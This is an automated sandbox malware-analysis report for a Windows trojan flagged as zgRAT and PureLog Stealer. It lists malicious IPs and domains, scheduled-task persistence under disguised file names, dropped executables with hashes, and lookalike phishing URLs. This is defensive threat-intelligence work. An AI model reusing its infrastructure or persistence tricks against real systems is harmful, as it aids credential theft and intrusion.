25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.184.109	cdn.semkrill.ru	United States		13335	CLOUDFLARENETUS	true
185.246.67.73	unknown	Russian Federation		29182	THEFIRST-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570976
Start date and time:	2024-12-08 15:26:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gorkmTnChA.exe renamed because original name is a hash value
Original Sample Name:	E4E1923F51EB61ED20CBBFAB84AB25B5.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@46/102@1/2
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe, ApplicationFrameHost.exe
Excluded IPs from analysis (whitelisted): 2.22.50.131, 2.22.50.144
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target KAdpNCgonFhCnlBRasdZerWl.exe, PID 8132 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: gorkmTnChA.exe

Simulations

Behavior and APIs

Time	Type	Description
09:27:21	API Interceptor	1321502x Sleep call for process: KAdpNCgonFhCnlBRasdZerWl.exe modified
14:27:13	Task Scheduler	Run new task: ApplicationFrameHost path: "C:\Users\Default User\Favorites\ApplicationFrameHost.exe"
14:27:13	Task Scheduler	Run new task: ApplicationFrameHostA path: "C:\Users\Default User\Favorites\ApplicationFrameHost.exe"
14:27:13	Task Scheduler	Run new task: KAdpNCgonFhCnlBRasdZerWl path: "C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe"
14:27:13	Task Scheduler	Run new task: KAdpNCgonFhCnlBRasdZerWlK path: "C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.184.109	00onP4lQDK.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	https://insee-inscrire.fr/Verification.php	Get hash	malicious	Unknown	Browse
	https://apiservices.krxd.net/click_tracker/track?kxconfid=whjxbtb0h&_knopii=1&kxcampaignid=P.C.C-Class.W206.L.MI&kxplacementid=module2findmycar&kxbrand=MB&clk=http://hFfpQ.accussibrand.com/croantree@csr.com.au	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdn.semkrill.ru	00onP4lQDK.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.184.109

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
THEFIRST-ASRU	home.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	37.230.119.182
	x86-20241130-2047.elf	Get hash	malicious	Mirai	Browse	82.146.62.180
	sora.mips.elf	Get hash	malicious	Mirai	Browse	62.109.30.187
	UNFOT5F1qt.exe	Get hash	malicious	DCRat	Browse	188.120.228.203
	RustChecker.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	188.120.239.221
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23YWhvd2FyZEBzZWN1cnVzdGVjaG5vbG9naWVzLmNvbQ==	Get hash	malicious	Unknown	Browse	78.24.219.84
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23cnlhbi5lZHdhcmRzQGF2ZW50aXYuY29t	Get hash	malicious	Unknown	Browse	78.24.219.84
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23bWJsYW5kQHNlY3VydXN0ZWNobm9sb2dpZXMuY29t	Get hash	malicious	Unknown	Browse	78.24.219.84
	exe009.exe	Get hash	malicious	Emotet	Browse	37.46.129.215
	https://sourcetrap.net	Get hash	malicious	Unknown	Browse	82.202.163.23
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	QZKG2scmaT.exe	Get hash	malicious	Pony	Browse	172.67.180.93
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	Q8o0Mx52Fd.exe	Get hash	malicious	Unknown	Browse	104.20.3.235

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	esetonlinescanner.exe	Get hash	malicious	Unknown	Browse	172.67.184.109
	esetonlinescanner.exe	Get hash	malicious	Unknown	Browse	172.67.184.109
	h0UP1BcPk5.lnk	Get hash	malicious	Unknown	Browse	172.67.184.109
	vzHOEzLbDj.exe	Get hash	malicious	Unknown	Browse	172.67.184.109
	WaveExecutor.exe	Get hash	malicious	Unknown	Browse	172.67.184.109
	Nexus-Executor.exe	Get hash	malicious	Unknown	Browse	172.67.184.109
	WaveExecutor.exe	Get hash	malicious	Unknown	Browse	172.67.184.109
	Nexus-Executor.exe	Get hash	malicious	Unknown	Browse	172.67.184.109
	Xeno Executor.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.184.109
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	172.67.184.109

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\ShortcutFlags.dll	00onP4lQDK.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Px0b16q72c.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\Reference Assemblies\Microsoft\98135c31e34d63

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	ASCII text, with very long lines (838), with no line terminators
Category:	dropped
Size (bytes):	838
Entropy (8bit):	5.905488006641125
Encrypted:	false
SSDEEP:	24:C/4zTnyT0LpEahKGjRMa79weJ9UHAsvtCu++InOleC6bJoZJg8:L3nzyG2E9weJ97Q++avCIJoZJg8
MD5:	0D5FFC1EE5F145E9D40B162210A07370
SHA1:	A23C8D6AAC17F93011C96C212EE095100AF9A693
SHA-256:	0FF960050DCE24275451E6074FFCEE956A7D25B45D373AE8B4D70625B772543A
SHA-512:	9E11B89023B858DA38479DE1CA3991132977649E0495A8645D737C7F595968492C32F7BC2D9248A0FDE4EF87AA4A86489CD1A44775627054F1F7EA2D2F7F062C
Malicious:	false
Preview:	whFKKh5HsIF6KwdfBAg2qpEirEmCgEMhDtpua5Ta9QWIjDPUzbZOBxIHdgdF52kn6i3bGsEFrF2aT59ozRNFo7fPkiR4cNfHqsMAJxNGWUh64syhhzQnpe98Co0ibKmdjvukt8eBEGtUaiU2utWn71cLtO8f7ppMsEWJ7NyjUOjivpidT7ysy8frSj1eA8EYbhlVML4g4xSsS4aDpeM917Ytio0YVTjVKKGODMRICRxApxZYIxzfwEheJ2whUgLkN7hIxMAcND6kJXDvPbPieDjGmmELZuxgGNxsPRl6xWSsH7UvyBR2QmFKXbfKHzDcQad6kUf80TuIv08pSTWYc4QdHnUxvaz8TzcrdXLdfTC627Yhc01ycoAWJAz7AsMZewz5YRL4H22I1TlJOxU5iAfoyFidiOdxGmcFIdJLo7rkw1ezZpsMXR0dRKGStsV2YFCP0fBunJRlT427lsD3fQazv9y7W0c6lyLrzP83n8jOAPJWSJrAocWIoNd1rEYwqU9etLHVtJQhrMyg0boMJbRJcDCmvHMijwhpPonHBVReLyacY7BPaLnOD0CpIfjm7r75oJQLygKyKw7onjNyF6IYISlZm78gvphe0exOqzb3AzEQ3YCjRvgAjjwWh1j0ioCePdxIw9IPfPYTOUgO4ZOAJh4RsbqzQkVVwjBak4xSnQeULcINVV6IZBVrigaUSS954ChoSGnAm5X2CkGPTdd5oM5uOU1DdcAUQjaI5d4Pr5gdocp7aKBzyEQrGwa8OkhK5CldK7TzjONsqcGvp4nSbLfMSsCJD5BHYWil0Lxd1LPk0iBoqpTU6OsuhZKb4KwnNG

C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3538432
Entropy (8bit):	7.811102685383502
Encrypted:	false
SSDEEP:	49152:i2EAM8/6Xg6/x08VtOkxE4HfOi5nZ/Ite8eeAd9nOtgwD9sY:inblgmx0+tp+wPJuYZtggwD9
MD5:	26C2B88440A62B4CB79201E01A404BD2
SHA1:	AD784AF316C9674AB5963D9F3144EAB1A41DA087
SHA-256:	B36300C80EB1D3B7BA75FF58BF058D10A7D757F14A83026981477108D1F65268
SHA-512:	EE00C4F8ACC8479071B2EB29BE9E9C6A21E84E330D76B00B33EA48D03972CD295719AF8A26B09F08431748941BD8433E02A2F8C118DA7398AFFB4FD08B445A31
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................5.........n.6.. ... 6...@.. .......................`6...........@................................. .6.K.... 6.p....................@6...................................................... ............... ..H............text...t.5.. ....5................. ..`.rsrc...p.... 6.......5.............@....reloc.......@6.......5.............@..B................P.6.....H...........D.......s...L...<,+...6......................................0..........(.... ........8........E....N......).......8I...(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8....(.... ....~....{....:....& ....8y......0..-....... ........8........E............R.......F...e...8........~....(f...~....(j... ....?... ....~....{....9....& ....8....r...ps....z8.... ........8z......... ....~....{....9d...& ....8Y...~....(^... .... .... ....s....~....(b..

C:\Program Files\Uninstall Information\98135c31e34d63

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	54
Entropy (8bit):	5.074241437308591
Encrypted:	false
SSDEEP:	3:xHQBcJqA9EWJn9n:Fl59B/
MD5:	7B31840A1C8FE7DD2441893CFB52DA5C
SHA1:	266115F8ADBC3C8F4DFA5BA3FA1DEAA4EC36E1F2
SHA-256:	1453B57944DBE52D1C295BB6F4FB8E55471686307E345A170629ED2F6A614432
SHA-512:	AF376B8076CB12D74154CA63A7DC6D2480A76B9D3D44FFB3A779A8CB3676A0A3F6A6B2DB55879AA52AEA5B40F6FF48EFC92DD87FCF1824040FF4121E1DB97355
Malicious:	false
Preview:	9DAR04kEGuPhhkqRpuOjrmyLiylLvF7CrwxjwXaSNAiwfYZ6fUiwPa

C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3538432
Entropy (8bit):	7.811102685383502
Encrypted:	false
SSDEEP:	49152:i2EAM8/6Xg6/x08VtOkxE4HfOi5nZ/Ite8eeAd9nOtgwD9sY:inblgmx0+tp+wPJuYZtggwD9
MD5:	26C2B88440A62B4CB79201E01A404BD2
SHA1:	AD784AF316C9674AB5963D9F3144EAB1A41DA087
SHA-256:	B36300C80EB1D3B7BA75FF58BF058D10A7D757F14A83026981477108D1F65268
SHA-512:	EE00C4F8ACC8479071B2EB29BE9E9C6A21E84E330D76B00B33EA48D03972CD295719AF8A26B09F08431748941BD8433E02A2F8C118DA7398AFFB4FD08B445A31
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................5.........n.6.. ... 6...@.. .......................`6...........@................................. .6.K.... 6.p....................@6...................................................... ............... ..H............text...t.5.. ....5................. ..`.rsrc...p.... 6.......5.............@....reloc.......@6.......5.............@..B................P.6.....H...........D.......s...L...<,+...6......................................0..........(.... ........8........E....N......).......8I...(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8....(.... ....~....{....:....& ....8y......0..-....... ........8........E............R.......F...e...8........~....(f...~....(j... ....?... ....~....{....9....& ....8....r...ps....z8.... ........8z......... ....~....{....9d...& ....8Y...~....(^... .... .... ....s....~....(b..

C:\Program Files\Windows NT\Accessories\en-GB\98135c31e34d63

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	ASCII text, with very long lines (309), with no line terminators
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.747802276786102
Encrypted:	false
SSDEEP:	6:UJknM9EMFiH02RsmUDPxlpwBk52IA10no4rrsugAI0:UJxCA+04sPDfeBS7A+o4/s3Ab
MD5:	F87A394D5AF33C43D669075035BC58E2
SHA1:	1FB1D17998EA079AEAC52F5EE1DE6085DEF97382
SHA-256:	6E08BEAE068CD02C17A650F108DF3C4197697C656088A7BCBC709A3E9EF62299
SHA-512:	340FFA6C3D095C1464FC92C82E7B02985501CABA44D3CBB0B70D3FA5ABC684771FA073F7EF818745CD077B9298B450530217232CD79A9A4D41D028CE5CD815B8
Malicious:	false
Preview:	AxN0vxHfSU5VqEBqKZppagLwQbbU7oY9yrh9RhoIXzQbTEoSMIimnt2elbjUWxin56h9gBYmvgSlQtcLwIIyGwVEzDX08TwkQmgXhpwKu51GaRN28XhNpthIkcJcoiobusUoMFoHV7EK5Ooi0f1kwi5hEXwEfUgLRZWs6jq3tZ1rpXNWyklIqDoLxxjyTjmBa22f15lRy81XrN1rKZQ4sXeOuL5J92jJx0Qxese39UUsMRej51o3TrTDXouqAcR6Zrj07ENc5W5XDwBcrWNIOpzGhNZz7x3hDXTfrnm1oL76v59kmR8nO

C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3538432
Entropy (8bit):	7.811102685383502
Encrypted:	false
SSDEEP:	49152:i2EAM8/6Xg6/x08VtOkxE4HfOi5nZ/Ite8eeAd9nOtgwD9sY:inblgmx0+tp+wPJuYZtggwD9
MD5:	26C2B88440A62B4CB79201E01A404BD2
SHA1:	AD784AF316C9674AB5963D9F3144EAB1A41DA087
SHA-256:	B36300C80EB1D3B7BA75FF58BF058D10A7D757F14A83026981477108D1F65268
SHA-512:	EE00C4F8ACC8479071B2EB29BE9E9C6A21E84E330D76B00B33EA48D03972CD295719AF8A26B09F08431748941BD8433E02A2F8C118DA7398AFFB4FD08B445A31
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................5.........n.6.. ... 6...@.. .......................`6...........@................................. .6.K.... 6.p....................@6...................................................... ............... ..H............text...t.5.. ....5................. ..`.rsrc...p.... 6.......5.............@....reloc.......@6.......5.............@..B................P.6.....H...........D.......s...L...<,+...6......................................0..........(.... ........8........E....N......).......8I...(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8....(.... ....~....{....:....& ....8y......0..-....... ........8........E............R.......F...e...8........~....(f...~....(j... ....?... ....~....{....9....& ....8....r...ps....z8.... ........8z......... ....~....{....9d...& ....8Y...~....(^... .... .... ....s....~....(b..

C:\Users\Default\Favorites\6dd19aba3e2428

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	ASCII text, with very long lines (654), with no line terminators
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.875502762551949
Encrypted:	false
SSDEEP:	12:6BDTiS670dnA/WGmoNn1ufWU7tEXFMsWMyD5bo0PrKt36J/iQBm9sJHUlg9T2:qPiS6cOWGvjGuX6fMk5TPWtdQceJHn9K
MD5:	6C77E8F53162E45ADFE7FCB5B043C8E9
SHA1:	864EA1FEC7815DEAAFD7D05B1D527B1813886A65
SHA-256:	ACFED4161068F2B85CB0F0168652A208D4A44FE2589615685A67547519991F8A
SHA-512:	8FB686BFDD0F08FC059F8B3AFD882298D2033D167F5378FDF8A22DD4FC8D4A0F5220476E35B63AF6ADABF9FCF8C11075EA44BC0DFE3E0E2438E612B0A62F604D
Malicious:	false
Preview:	XfIdYUpdguEtWdCs3UmNyMpyPS4pknOT2NRqzcWkUHGg441ppA8JrgzKzTOFa932gu1JMV2a8B2rGI4VbO9jpFmWXG0gOQKUONAKCsdUIhLqnHErY3oLATNbIfvFeWMr0id2IuSsvpbH45sQCJHUm9U4AiBh7XzvVdzEoLjok5aV2FhMwfDVO1E1Oi2jsvvXzpwaGnl0jdtqi8C4BzucUdheY80FTA6zKCfMTHFI3MvvHYSPg7h2ATDVISBHxfgjg4gfdzl4tmiHsvWApljWcEz19JEBF8VXpMON2wvqVnIXu6nW5BcM5KHcEpgTukyvQLbfhJI3z2Ay5bHDfsGEfJbfEwIMQc5vyWGjeHzv2iXCKSgmhcxCeuPHt6buB5mW7O9iUhiY3UL7vYUwPfoxo3REG80iqEu75AF5T8RA3ZJJiSWUlpffQzsE74bVrAryjOBvTZcRNo3OtHgymf7BjPqGRB8Yg6S3rUkTRkALMNRl5dUzYntLDqOUi4dRaEvRW9gYhNgBevzW7EKxrJ92MG0BFPuWHtvHcAO675RLGrrS12XdupkRE2EQJfTScK4vAr370O0v1yvfZiKN2RlbIdDj58wbm9t6w5RJ9angzyaPGi1lUFaKicmgoUB1bYJ2FztdQANboFmUDx

C:\Users\Default\Favorites\ApplicationFrameHost.exe

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3538432
Entropy (8bit):	7.811102685383502
Encrypted:	false
SSDEEP:	49152:i2EAM8/6Xg6/x08VtOkxE4HfOi5nZ/Ite8eeAd9nOtgwD9sY:inblgmx0+tp+wPJuYZtggwD9
MD5:	26C2B88440A62B4CB79201E01A404BD2
SHA1:	AD784AF316C9674AB5963D9F3144EAB1A41DA087
SHA-256:	B36300C80EB1D3B7BA75FF58BF058D10A7D757F14A83026981477108D1F65268
SHA-512:	EE00C4F8ACC8479071B2EB29BE9E9C6A21E84E330D76B00B33EA48D03972CD295719AF8A26B09F08431748941BD8433E02A2F8C118DA7398AFFB4FD08B445A31
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\Default\Favorites\ApplicationFrameHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\Favorites\ApplicationFrameHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\Favorites\ApplicationFrameHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\Favorites\ApplicationFrameHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\Favorites\ApplicationFrameHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\Favorites\ApplicationFrameHost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................5.........n.6.. ... 6...@.. .......................`6...........@................................. .6.K.... 6.p....................@6...................................................... ............... ..H............text...t.5.. ....5................. ..`.rsrc...p.... 6.......5.............@....reloc.......@6.......5.............@..B................P.6.....H...........D.......s...L...<,+...6......................................0..........(.... ........8........E....N......).......8I...(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8....(.... ....~....{....:....& ....8y......0..-....... ........8........E............R.......F...e...8........~....(f...~....(j... ....?... ....~....{....9....& ....8....r...ps....z8.... ........8z......... ....~....{....9d...& ....8Y...~....(^... .... .... ....s....~....(b..

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.144086598890895
Encrypted:	false
SSDEEP:	6:kKGi9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:GDnLNkPlE99SNxAhUe/3
MD5:	48759AB393F88CA7D1DDEB952DE1BD9A
SHA1:	AE868808C6AB3EEC6FBD967D344A158F390BF1D9
SHA-256:	1002DF48FC02F1E1FCCA372AF80783AB815C8873F1A155741ACF87B7DA1725D5
SHA-512:	72845BD86CD13E059AD6A43BCD3D9B825F64FB9FC0540FA5600B3150FB814FF13229171E0A3C4886BF7F54D43F7357E39C6C7CBA0018C034A332B1628B0476D4
Malicious:	false
Preview:	p...... ...........>}I..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\KAdpNCgonFhCnlBRasdZerWl.exe.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
